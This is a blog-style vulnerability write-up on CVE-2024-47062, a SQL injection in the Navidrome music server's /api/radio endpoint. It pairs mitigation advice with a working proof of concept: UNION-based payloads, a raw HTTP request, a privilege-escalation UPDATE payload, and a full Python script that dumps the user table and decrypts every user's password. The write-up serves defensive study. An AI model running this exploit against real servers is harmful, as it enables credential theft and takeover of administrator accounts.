Overview
Navidrome, a popular open-source music server, provides a lightweight and robust solution for managing and streaming music collections. However, a critical SQL injection vulnerability, designated as CVE-2024-47062, was recently discovered in its API. This flaw allows authenticated users to execute arbitrary SQL queries against the Navidrome database, leading to significant security risks, including unauthorized data access, data modification, and potential system compromise.
In this article, we’ll perform an in-depth analysis of CVE-2024-47062, covering its technical aspects, exploitation potential, proof of concept, and recommended mitigation measures. This write-up is targeted toward cybersecurity professionals aiming to understand and defend against such vulnerabilities.
Vulnerable Component
The vulnerability exists in the /api/radio endpoint of the Navidrome application. Specifically, it stems from improper handling of user-provided input via the URL itself. This endpoint directly incorporates user input into SQL queries without sanitization, creating a vector for SQL injection attacks.
Affected Versions
CVE-2024-47062 affects all versions of Navidrome prior to the patched release (version 0.53.0). Users running these versions are strongly encouraged to upgrade immediately.
Understanding the Attack Vector
This SQL Injection vulnerability arises because parameters embedded in the URL are directly used in SQL queries without proper sanitization. By carefully crafting the URL, attackers can inject SQL code.
For example, the injection can be triggered by passing specific queries directly into the URL. These queries are URL-encoded before reaching the server, allowing malicious inputs to bypass initial validations.
Proof of Concept (PoC)
We can set up a lab environment to reproduce CVE-2024-47062 using docker. Following docker-compose.yml can help us get the vulnerable version of Navidrome instance up and running on our localhost:
version: '3'
services:
navidrome:
image: deluan/navidrome:0.52.5
container_name: navidrome
ports:
- "4533:4533"
volumes:
- ./navidrome-music:/music
- ./navidrome-data:/data
restart: unless-stopped
I then created a couple of users, with one having the admin privileges.
Now we will move on to the exploitation. Using a payload like 1=1) order by 6--, we can determine the number of columns in any table that it has in the database. Expanding on this knowledge, a malicious query such as the following can dump user data:
1=1) UNION SELECT id, user_name, password, is_admin, '', '' FROM user --
This payload, when incorporated into a crafted request, retrieves sensitive information. Below is an example:
GET /api/radio?1=1) UNION SELECT id, user_name, password, is_admin, '', '' FROM user -- HTTP/1.1
Host: vulnerable-server.com
Authorization: Bearer <valid_token>
A Python script to automate this process:
#!/usr/bin/env python3
import base64
import hashlib
import requests
import urllib.parse
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
class Exploit:
def __init__(self, target_url):
self.url = target_url
self.token = None
def unlock(self, enc_text):
try:
master = "just for obfuscation"
key = hashlib.sha256(master.encode()).digest()
raw = base64.b64decode(enc_text)
iv = raw[:12]
data = raw[12:-16]
tag = raw[-16:]
tool = Cipher(
algorithms.AES(key),
modes.GCM(iv, tag),
backend=default_backend()
)
d = tool.decryptor()
return (d.update(data) + d.finalize()).decode()
except:
return enc_text
def get_token(self, user, passwd):
try:
auth = f"{self.url}/auth/login"
data = {"username": user, "password": passwd}
r = requests.post(auth, json=data)
self.token = r.json()["token"]
return True
except Exception as e:
print(f"Auth failed: {e}")
return False
def grab_data(self):
if not self.token:
return None
query = "1=1) UNION SELECT id,user_name,password,is_admin,'','' FROM user --"
encoded = urllib.parse.quote(query)
path = f"{self.url}/api/radio?{encoded}=1"
try:
r = requests.get(
path,
headers={"X-ND-Authorization": f"Bearer {self.token}"}
)
return r.json()
except Exception as e:
print(f"Data grab failed: {e}")
return None
def run():
import sys
if len(sys.argv) != 4:
print(f"Usage: {sys.argv[0]} <url> <user> <pass>")
return
print("[*] Starting...")
exp = Exploit(sys.argv[1])
if not exp.get_token(sys.argv[2], sys.argv[3]):
print("[-] Failed to authenticate")
return
print("[+] Got access token")
data = exp.grab_data()
if not data:
print("[-] Failed to retrieve data")
return
print("[+] Retrieved records:")
for item in data:
clear = exp.unlock(item['streamUrl'])
print(f"User: {item['name']:<20} Password: {clear}")
if __name__ == "__main__":
run()
It works by first authenticating the user with a provided username and password (we will provide the non-admin user credentials here), then using an SQL injection attack to retrieve sensitive data from the backend. The authentication process involves sending a POST request to the login endpoint and storing the returned token for later use. Once authenticated, the above script sends a specially crafted query to a radio endpoint to extract information from the database, including usernames, passwords, and admin status. The SQL injection is injected via the query parameter, and the result is returned as a JSON object.
The data retrieved from the server is encrypted and stored in a base64-encoded format. It uses AES decryption in GCM mode to decrypt the sensitive information, specifically the streamUrl field, which is assumed to contain the encrypted password. Then finally, it prints credentials of all the users in plain text (including the admin user).
Please don't make fun of me for setting the admin user's password as "password" lol.
Impact Analysis
Data Breach: Extract sensitive user information, including passwords.
Data Corruption: Inject destructive SQL queries (e.g., DROP or UPDATE).
Privilege Escalation: Grant administrative privileges using payloads like:
UPDATE users SET is_admin = TRUE WHERE id = <attacker_id>;
Mitigation Strategies
Immediate Remediation
Apply Security Patches: Upgrade to the latest version that addresses CVE-2024-47062.
Database Backups: Maintain up-to-date backups for recovery.
Long-Term Defensive Measures
Parameterized Queries: Use prepared statements to separate SQL logic from user input:
cursor.execute("SELECT * FROM radio WHERE filter_condition = %s", (user_input,))
Input Validation: Ensure all user inputs are rigorously validated.
Minimal Privilege Principle: Restrict database user permissions to prevent unauthorized DROP or DELETE commands.
Web Application Firewalls: Deploy WAFs to detect and block SQL Injection attempts.
Monitoring and Detection
Log Analysis: Monitor server logs for suspicious patterns.
Intrusion Detection Systems (IDS): Use IDS tools to identify anomalies.
Lessons Learned
CVE-2024-47062 emphasizes the importance of secure coding practices, particularly around database operations. Organizations must adopt a secure development lifecycle (SDLC) to identify and mitigate vulnerabilities early in the development process.
Disclaimer
The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2024-47062 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.
It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.